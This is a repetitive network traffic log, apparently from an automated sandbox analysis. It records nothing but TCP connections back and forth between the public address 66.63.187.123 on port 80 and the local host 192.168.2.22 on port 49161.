Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
